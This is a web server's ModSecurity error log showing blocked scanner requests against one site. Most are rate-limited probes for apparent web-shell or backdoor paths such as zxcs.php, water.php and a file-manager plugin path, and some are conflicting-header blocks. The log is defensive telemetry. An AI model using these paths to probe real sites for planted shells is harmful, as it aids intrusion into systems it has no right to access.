[Wed Apr 08 23:30:58.051347 2026] [:error] [pid 12490:tid 12515] [client 145.239.195.38:41524] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adZ0sm1Fea4F4fbumr1AoAAAANc"]
[Wed Apr 08 23:31:00.639303 2026] [:error] [pid 64066:tid 64084] [client 145.239.195.38:41532] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adZ0tFR3WucJgr2vZGaVGAAAAU8"]
[Wed Apr 08 23:31:23.859767 2026] [:error] [pid 12490:tid 12495] [client 145.239.195.38:41538] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adZ0y21Fea4F4fbumr1A1AAAAMM"]
[Wed Apr 08 23:36:25.514399 2026] [:error] [pid 12490:tid 12516] [client 182.42.105.85:58680] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adZ1-W1Fea4F4fbumr1GHAAAANg"]
[Thu Apr 09 01:19:24.173427 2026] [:error] [pid 40460:tid 40481] [client 43.153.27.244:40942] [client 43.153.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adaOHIw-4-9CKD2kKMYgVgAAAFI"]
[Thu Apr 09 02:26:44.206698 2026] [:error] [pid 22056:tid 22067] [client 101.33.66.34:58224] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adad5GQ3CidOGkmVXZhZVQAAAMk"]
[Thu Apr 09 05:43:46.473383 2026] [:error] [pid 20536:tid 20593] [client 110.166.71.39:34982] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adbMEsPqyUJM1s3YpIYfKQAAAFY"]
[Thu Apr 09 07:17:40.596780 2026] [:error] [pid 22627:tid 22631] [client 43.173.1.69:52090] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adbiFPr8glsF_jKQpr5IPQAAAQE"]
[Thu Apr 09 08:22:42.879949 2026] [:error] [pid 20641:tid 20645] [client 20.63.32.44:26691] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "adbxUm3LksBSF-6rlkawxAAAAMA"]
[Thu Apr 09 08:22:43.310081 2026] [:error] [pid 22627:tid 22640] [client 20.63.32.44:26695] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "adbxU_r8glsF_jKQpr6EVQAAAQo"]
[Thu Apr 09 08:22:43.742552 2026] [:error] [pid 20535:tid 20544] [client 20.63.32.44:26725] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "adbxUwWiD9hWnEUHWdOCmAAAAAA"]
[Thu Apr 09 08:22:44.173079 2026] [:error] [pid 20535:tid 20547] [client 20.63.32.44:26708] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxcs.php"] [unique_id "adbxVAWiD9hWnEUHWdOCmQAAAAM"]
[Thu Apr 09 08:22:44.595021 2026] [:error] [pid 20641:tid 20665] [client 20.63.32.44:26730] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adbxVG3LksBSF-6rlkawxgAAANQ"]
[Thu Apr 09 08:22:45.022697 2026] [:error] [pid 22627:tid 22648] [client 20.63.32.44:26718] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adbxVfr8glsF_jKQpr6EYAAAARI"]
[Thu Apr 09 08:22:45.446724 2026] [:error] [pid 22627:tid 22630] [client 20.63.32.44:26722] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adbxVfr8glsF_jKQpr6EYgAAAQA"]
[Thu Apr 09 08:22:45.857677 2026] [:error] [pid 22627:tid 22646] [client 20.63.32.44:26759] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "adbxVfr8glsF_jKQpr6EZwAAARA"]
[Thu Apr 09 08:22:46.268951 2026] [:error] [pid 20535:tid 20558] [client 20.63.32.44:26766] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca-022.php"] [unique_id "adbxVgWiD9hWnEUHWdOCqAAAAA4"]
[Thu Apr 09 08:22:46.782189 2026] [:error] [pid 20641:tid 20655] [client 20.63.32.44:26692] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca-022.php"] [unique_id "adbxVm3LksBSF-6rlkawygAAAMo"]
[Thu Apr 09 08:22:47.200410 2026] [:error] [pid 20641:tid 20656] [client 20.63.32.44:26709] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca-022.php"] [unique_id "adbxV23LksBSF-6rlkawywAAAMs"]
[Thu Apr 09 08:22:47.616564 2026] [:error] [pid 22627:tid 22652] [client 20.63.32.44:26765] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ca-022.php"] [unique_id "adbxV_r8glsF_jKQpr6EcQAAARY"]
[Thu Apr 09 08:22:48.041212 2026] [:error] [pid 20536:tid 20573] [client 20.63.32.44:26723] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rnenu.php"] [unique_id "adbxWMPqyUJM1s3YpIZOdAAAAEI"]
[Thu Apr 09 08:22:48.463350 2026] [:error] [pid 20641:tid 20662] [client 20.63.32.44:26720] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rnenu.php"] [unique_id "adbxWG3LksBSF-6rlkawzQAAANE"]
[Thu Apr 09 08:22:48.906702 2026] [:error] [pid 20641:tid 20645] [client 20.63.32.44:26702] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rnenu.php"] [unique_id "adbxWG3LksBSF-6rlkawzgAAAMA"]
[Thu Apr 09 08:22:49.328839 2026] [:error] [pid 20535:tid 20568] [client 20.63.32.44:26745] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rnenu.php"] [unique_id "adbxWQWiD9hWnEUHWdOCrQAAABg"]
[Thu Apr 09 08:22:49.741940 2026] [:error] [pid 22627:tid 22637] [client 20.63.32.44:26787] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fallbackapi.php"] [unique_id "adbxWfr8glsF_jKQpr6EeAAAAQc"]
[Thu Apr 09 08:22:50.154176 2026] [:error] [pid 20641:tid 20653] [client 20.63.32.44:26774] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fallbackapi.php"] [unique_id "adbxWm3LksBSF-6rlkaw0gAAAMg"]
[Thu Apr 09 08:22:50.572796 2026] [:error] [pid 22627:tid 22650] [client 20.63.32.44:26752] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fallbackapi.php"] [unique_id "adbxWvr8glsF_jKQpr6EfwAAARQ"]
[Thu Apr 09 08:22:50.984117 2026] [:error] [pid 20536:tid 20584] [client 20.63.32.44:26747] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fallbackapi.php"] [unique_id "adbxWsPqyUJM1s3YpIZOfAAAAE0"]
[Thu Apr 09 08:28:31.445747 2026] [:error] [pid 22627:tid 22646] [client 43.153.71.132:59848] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adbyr_r8glsF_jKQpr6JXQAAARA"]
[Thu Apr 09 08:32:08.380095 2026] [:error] [pid 20537:tid 20617] [client 20.63.32.44:1172] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adbziMSTjpSeyrxLmN5L6QAAAJM"]
[Thu Apr 09 08:32:09.204900 2026] [:error] [pid 20537:tid 20607] [client 20.63.32.44:63255] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adbzicSTjpSeyrxLmN5L6wAAAIk"]
[Thu Apr 09 08:32:10.029152 2026] [:error] [pid 20641:tid 20648] [client 20.63.32.44:1207] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adbzim3LksBSF-6rlka09wAAAMM"]
[Thu Apr 09 08:32:10.935973 2026] [:error] [pid 22627:tid 22654] [client 20.63.32.44:60723] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adbzivr8glsF_jKQpr6MTgAAARg"]
[Thu Apr 09 08:34:37.244756 2026] [:error] [pid 22627:tid 22640] [client 20.46.165.192:10536] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "adb0Hfr8glsF_jKQpr6OkwAAAQo"]
[Thu Apr 09 08:34:37.706287 2026] [:error] [pid 22627:tid 22653] [client 20.46.165.192:10498] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "adb0Hfr8glsF_jKQpr6OngAAARc"]
[Thu Apr 09 08:34:38.174884 2026] [:error] [pid 20641:tid 20669] [client 20.46.165.192:21806] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "adb0Hm3LksBSF-6rlka2NQAAANg"]
[Thu Apr 09 08:34:38.697283 2026] [:error] [pid 22627:tid 22649] [client 20.46.165.192:2573] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "adb0Hvr8glsF_jKQpr6OsAAAARM"]
[Thu Apr 09 14:02:36.008248 2026] [:error] [pid 24517:tid 24584] [client 43.166.246.180:41766] [client 43.166.246.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "addA_HboYEn2ZFM_PS9A4wAAAIo"]
[Thu Apr 09 17:59:19.276295 2026] [:error] [pid 24517:tid 24575] [client 43.166.136.202:48374] [client 43.166.136.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "add4d3boYEn2ZFM_PS9uAgAAAIE"]
[Thu Apr 09 18:32:45.676585 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:63970] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxx.php"] [unique_id "adeATe4Jn-WvK1ZBTvi30AAAAMQ"]
[Thu Apr 09 18:32:46.214523 2026] [:error] [pid 24515:tid 24530] [client 20.215.65.153:64610] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxx.php"] [unique_id "adeATq1OMnvM2fMnB1N7xwAAAAs"]
[Thu Apr 09 18:32:46.669866 2026] [:error] [pid 24515:tid 24521] [client 20.215.65.153:64646] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adeATq1OMnvM2fMnB1N7yQAAAAI"]
[Thu Apr 09 18:32:46.751953 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:64691] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxx.php"] [unique_id "adeATu4Jn-WvK1ZBTvi31wAAAMI"]
[Thu Apr 09 18:32:47.189777 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:63950] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adeATzXObuzEuw8mNJvznAAAARA"]
[Thu Apr 09 18:32:47.265845 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:65187] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-cxx.php"] [unique_id "adeAT-4Jn-WvK1ZBTvi33AAAANY"]
[Thu Apr 09 18:32:47.710341 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:64632] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adeAT61OMnvM2fMnB1N70AAAAAM"]
[Thu Apr 09 18:32:47.814031 2026] [:error] [pid 18477:tid 18494] [client 20.215.65.153:65133] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adeAT8De826HlFeoLPJ5ugAAAU8"]
[Thu Apr 09 18:32:48.230597 2026] [:error] [pid 24517:tid 24582] [client 20.215.65.153:63991] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adeAUHboYEn2ZFM_PS9xUgAAAIg"]
[Thu Apr 09 18:32:48.347268 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:65175] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adeAUDXObuzEuw8mNJvzowAAAQQ"]
[Thu Apr 09 18:32:48.876387 2026] [:error] [pid 24515:tid 24536] [client 20.215.65.153:64588] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adeAUK1OMnvM2fMnB1N71AAAABE"]
[Thu Apr 09 18:32:49.394621 2026] [:error] [pid 24515:tid 24534] [client 20.215.65.153:64047] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/water.php"] [unique_id "adeAUa1OMnvM2fMnB1N72gAAAA8"]
[Thu Apr 09 18:32:49.928715 2026] [:error] [pid 18477:tid 18485] [client 20.215.65.153:64018] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "adeAUcDe826HlFeoLPJ5vwAAAUY"]
